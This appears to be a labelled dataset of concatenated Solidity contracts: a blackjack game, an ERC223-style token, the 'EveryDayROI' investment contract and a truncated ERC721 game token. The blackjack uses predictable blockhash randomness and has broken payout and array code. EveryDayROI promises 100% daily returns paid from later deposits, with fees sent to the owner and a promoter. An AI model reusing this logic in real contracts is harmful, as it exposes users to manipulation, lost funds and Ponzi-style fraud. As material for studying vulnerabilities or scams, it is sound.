require(msg.sender != block.coinbase);
uint _Im_RandomNumber_In52 = uint(keccak256(abi.encodePacked(blockhash(block.number), msg.sender, _Im_CuteNumber))) % 52;
return _Im_RandomNumber_In52;
}
function Counting_CardPoint (uint _Card_Number)
public view
returns(uint _CardPoint)
{
uint figure = (_Card_Number%13);
uint Im_CardPoint = Im_BlackJack_CardFigureToPoint[figure];
return Im_CardPoint;
}
function Counting_HandCardPoint (uint[] memory _Card_InHand)
public view
returns(uint _TotalPoint)
{
uint _Im_Card_Number;
uint Im_AccumulatedPoints = 0;
for (uint Im_CardCounter = 0 ; Im_CardCounter < _Card_InHand.length ; Im_CardCounter++)
{
_Im_Card_Number = _Card_InHand[Im_CardCounter];
Im_AccumulatedPoints = Im_AccumulatedPoints + Counting_CardPoint(_Im_Card_Number);
}
for (uint Im_CardCounter = 0 ; Im_CardCounter < _Card_InHand.length ; Im_CardCounter++)
{
_Im_Card_Number = _Card_InHand[Im_CardCounter];
if((_Im_Card_Number%13) == 0 && Im_AccumulatedPoints <= 11)
{
Im_AccumulatedPoints = Im_AccumulatedPoints + 10;
}
}
return Im_AccumulatedPoints;
}
function Determine_Result(uint _GameId, uint _RoundId)
internal
returns (uint[] memory _WinnerUserId, uint[] memory _LoserUserId)
{
uint[] memory Im_WinnerUserIdSet;
uint[] memory Im_DrawIdSet;
uint[] memory Im_LoserIdSet;
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[_GameId];
Game_Round_Unit storage Im_GameRoundUnit_Instance = Mapping__GameRoundId_GameRoundStruct[_RoundId];
uint Im_PlayerTotalPoint;
uint Im_DealerTotalPoint = Counting_HandCardPoint({_Card_InHand: Im_GameRoundUnit_Instance.Cards_InDealer});
for(uint Im_PlayUnitCounter = 0 ; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.pop;
uint Im_PlayerUserId = Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Player_UserId;
Im_PlayerTotalPoint = Counting_HandCardPoint(Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand);
if(Im_PlayerTotalPoint > 21 && Im_DealerTotalPoint > 21)
{
Im_DrawIdSet[Im_DrawIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint > 21)
{
Im_LoserIdSet[Im_LoserIdSet.length] = Im_PlayerUserId;
}
else if (Im_DealerTotalPoint > 21)
{
Im_WinnerUserIdSet[Im_WinnerUserIdSet.length] = Im_PlayerUserId;
}
else if (Im_DealerTotalPoint > Im_PlayerTotalPoint)
{
Im_LoserIdSet[Im_LoserIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint > Im_DealerTotalPoint)
{
Im_WinnerUserIdSet[Im_WinnerUserIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint == Im_DealerTotalPoint)
{
Im_DrawIdSet[Im_DrawIdSet.length] = Im_PlayerUserId;
}
}
emit Determine_GameRoundResult
(
{_GameIdEvent: _GameId,
_GameRoundIdEvent: _RoundId,
_WinnerUserIdEvent: Im_WinnerUserIdSet,
_DrawUserIdEvent: Im_DrawIdSet,
_LoserUserIdEvent: Im_LoserIdSet}
);
return (Im_WinnerUserIdSet, Im_LoserIdSet);
}
}
contract Play_Blackjack is Blackjack_Functionality
{
function Create_UserAccount (uint UserId, string memory UserName, string memory UserDescription)
public whenNotPaused
returns (uint _UserId, address _UserAddress, string memory _UserName, string memory _UserDescription)
{
require(Mapping__UserAddress_UserId[msg.sender] == 0);
(
uint Im_UserId,
address Im_UserAddress,
string memory Im_UserName,
string memory Im_UserDescription
)
= Initialize_UserAccount
(
{_UserId: UserId,
_UserName: UserName,
_UserDescription: UserDescription}
);
return (Im_UserId, Im_UserAddress, Im_UserName, Im_UserDescription);
}
function Create_AutoGame (uint AutoGame_BettingRank)
public whenNotPaused
returns (uint _CreateGameId)
{
uint _Im_MIN_BettingLimit = Mapping__AutoGameBettingRank_BettingRange[AutoGame_BettingRank][0];
uint _Im_MAX_BettingLimit = Mapping__AutoGameBettingRank_BettingRange[AutoGame_BettingRank][1];
uint[] memory _Im_AutoGamePlayer_UserId;
_Im_AutoGamePlayer_UserId[0] = Mapping__UserAddress_UserId[msg.sender];
ImCounter_AutoGameId = ImCounter_AutoGameId + 1;
Initialize_Game
(
{_GameId: ImCounter_AutoGameId,
_Player_UserIds: _Im_AutoGamePlayer_UserId,
_Dealer_UserId: Mapping__UserAddress_UserId[address(this)],
_MIN_BettingLimit: _Im_MIN_BettingLimit,
_MAX_BettingLimit: _Im_MAX_BettingLimit}
);
return (ImCounter_AutoGameId);
}
function Create_DualGame
(
uint[] memory PlayerIds ,
uint MIN_BettingLimit ,
uint MAX_BettingLimit
)
public whenNotPaused
returns (uint _CreateGameId)
{
require(MIN_BettingLimit <= MAX_BettingLimit);
uint _Im_DualGameCreater_UserId = Mapping__UserAddress_UserId[msg.sender];
ImCounter_DualGameId = ImCounter_DualGameId + 1;
Initialize_Game
(
{_GameId: ImCounter_DualGameId,
_Player_UserIds: PlayerIds,
_Dealer_UserId: _Im_DualGameCreater_UserId,
_MIN_BettingLimit: MIN_BettingLimit,
_MAX_BettingLimit: MAX_BettingLimit}
);
return (ImCounter_DualGameId);
}
function Player_Bettings(uint GameId, uint Im_BettingsERC20Ammount)
public whenNotPaused
returns (uint _GameId, uint GameRoundId, uint BettingAmount)
{
require(Im_BettingsERC20Ammount >= Mapping__GameUnitId_GameUnitStruct[GameId].MIN_BettingLimit && Im_BettingsERC20Ammount <= Mapping__GameUnitId_GameUnitStruct[GameId].MAX_BettingLimit);
uint Im_GameId;
uint Im_GameRoundId;
uint Im_BettingAmount;
(Im_GameId, Im_GameRoundId, Im_BettingAmount) = Bettings({_GameId: GameId,_Im_BettingsERC20Ammount: Im_BettingsERC20Ammount});
return (Im_GameId, Im_GameRoundId, Im_BettingAmount);
}
function Start_NewRound(uint GameId)
public whenNotPaused
returns (uint StartRoundId)
{
Game_Unit memory Im_GameUnitData= Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_GameRoundId = Im_GameUnitData.Game_RoundsIds[Im_GameUnitData.Game_RoundsIds.length -1];
uint[] memory Im_PlayerUserIdSet = Im_GameUnitData.Player_UserIds;
uint Im_MIN_BettingLimit = Im_GameUnitData.MIN_BettingLimit;
uint Im_MAX_BettingLimit = Im_GameUnitData.MAX_BettingLimit;
if (Im_MAX_BettingLimit == 0)
{
uint Im_NewRoundId = Initialize_Round({_ImGameRoundId: Im_GameRoundId, _Player_UserIds: Im_PlayerUserIdSet});
return Im_NewRoundId;
}
else
{
for(uint Im_PlayerCounter = 0; Im_PlayerCounter <= Im_PlayerUserIdSet.length; Im_PlayerCounter++)
{
uint Im_PlayerUserId = Im_PlayerUserIdSet[Im_PlayerCounter];
uint Im_UserBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_GameRoundId][Im_PlayerUserId];
require(Im_UserBettingAmount >= Im_MIN_BettingLimit && Im_UserBettingAmount <= Im_MAX_BettingLimit);
emit CheckBetting_Anouncement
(
{GameRoundId: Im_GameRoundId,
UserId: Im_PlayerUserId,
UserBettingAmount: Im_UserBettingAmount,
MinBettingLimit: Im_MIN_BettingLimit,
MaxBettingLimit: Im_MAX_BettingLimit}
);
}
uint Im_NewRoundId = Initialize_Round({_ImGameRoundId: Im_GameRoundId, _Player_UserIds: Im_PlayerUserIdSet});
return Im_NewRoundId;
}
return 0;
}
function Player_HitOrStand (uint GameId, bool Hit_or_Stand)
public whenNotPaused
returns (uint[] memory NewCards_InHand)
{
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length -1];
Game_Round_Unit storage Im_GameRoundUnit_StorageInstance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
for (uint Im_PlayUnitCounter = 0; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
if (Mapping__UserAddress_UserId[msg.sender] == Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Player_UserId )
{
if (Hit_or_Stand)
{
Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand = GetCard({_Im_GameRoundId: Im_RoundId, _Im_Original_CardInHand: Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand});
return Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand;
}
else if (Hit_or_Stand == false)
{
Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.push(1111);
return Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand;
}
}
}
}
function Dealer_HitOrStand (uint GameId, bool Hit_or_Stand)
public StandCheck_AllPlayer(GameId) whenNotPaused
returns (uint[] memory Cards_InDealerHand)
{
require(Mapping__UserAddress_UserId[msg.sender] == Mapping__GameUnitId_GameUnitStruct[GameId].Dealer_UserId);
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length -1];
Game_Round_Unit storage Im_GameRoundUnit_StorageInstance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
uint Im_DealerUserId = Im_GameUnit_Instance.Dealer_UserId;
uint[] memory WeR_WinnerId;
uint[] memory WeR_LoserId;
if (Hit_or_Stand)
{
Im_GameRoundUnit_StorageInstance.Cards_InDealer = GetCard({_Im_GameRoundId: Im_RoundId, _Im_Original_CardInHand: Im_GameRoundUnit_StorageInstance.Cards_InDealer});
return Im_GameRoundUnit_StorageInstance.Cards_InDealer;
}
else if (Hit_or_Stand == false)
{
(WeR_WinnerId, WeR_LoserId) = Determine_Result({_GameId: GameId,_RoundId: Im_RoundId});
for(uint Im_WinnerCounter = 0; Im_WinnerCounter <= WeR_WinnerId.length ; Im_WinnerCounter++)
{
uint Im_WinnerUserId = WeR_WinnerId[Im_WinnerCounter];
uint Im_WinnerBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_RoundId][Im_WinnerUserId];
Mapping__OwnerUserId_ERC20Amount[Im_DealerUserId] - Im_WinnerBettingAmount;
Mapping__OwnerUserId_ERC20Amount[Im_WinnerUserId] + Im_WinnerBettingAmount;
}
for(uint Im_LoserCounter = 0; Im_LoserCounter <= WeR_LoserId.length ; Im_LoserCounter++)
{
uint Im_LoserUserId = WeR_WinnerId[Im_LoserCounter];
uint Im_LoserBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_RoundId][Im_LoserUserId];
Mapping__OwnerUserId_ERC20Amount[Im_DealerUserId] + Im_LoserBettingAmount;
Mapping__OwnerUserId_ERC20Amount[Im_LoserUserId] - Im_LoserBettingAmount;
}
ImCounter_GameRoundId = ImCounter_GameRoundId + 1;
Mapping__GameUnitId_GameUnitStruct[GameId].Game_RoundsIds.push(ImCounter_GameRoundId);
return Im_GameRoundUnit_StorageInstance.Cards_InDealer;
}
}
} | 0 | 57 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
emit Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "WM PROFESSIONAL";
string constant TOKEN_SYMBOL = "WMPRO";
bool constant PAUSED = false;
address constant TARGET_USER = 0xf91189AE847537bdb3a12506F7b58492A4308212;
uint constant START_TIME = 1531692000;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,151 |
pragma solidity ^0.4.24;
contract EveryDayROI{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 100;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x630198f7a7ba302dcb3595a82f60930d83747ef7;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,958 |
pragma solidity ^0.4.20;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
interface ERC721Metadata {
function name() external pure returns (string _name);
function symbol() external pure returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = this.balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(this.balance);
}
}
}
contract WarToken is ERC721, AccessAdmin {
struct Fashion {
uint16 protoId;
uint16 quality;
uint16 pos;
uint16 health;
uint16 atkMin;
uint16 atkMax;
uint16 defence;
uint16 crit;
uint16 isPercent;
uint16 attrExt1;
uint16 attrExt2;
uint16 attrExt3;
}
Fashion[] public fashionArray;
uint256 destroyFashionCount;
mapping (uint256 => address) fashionIdToOwner;
mapping (address => uint256[]) ownerToFashionArray;
mapping (uint256 => uint256) fashionIdToOwnerIndex;
mapping (uint256 => address) fashionIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event CreateFashion(address indexed owner, uint256 tokenId, uint16 protoId, uint16 quality, uint16 pos, uint16 createType);
event ChangeFashion(address indexed owner, uint256 tokenId, uint16 changeType);
event DeleteFashion(address indexed owner, uint256 tokenId, uint16 deleteType);
function WarToken() public {
addrAdmin = msg.sender;
fashionArray.length += 1;
}
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
require(fashionIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = fashionIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == fashionIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
function name() public pure returns(string) {
return "WAR Token";
}
function symbol() public pure returns(string) {
return "WAR";
}
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != address(0));
return ownerToFashionArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
return fashionIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
fashionIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return fashionIdToApprovals[_tokenId];
}
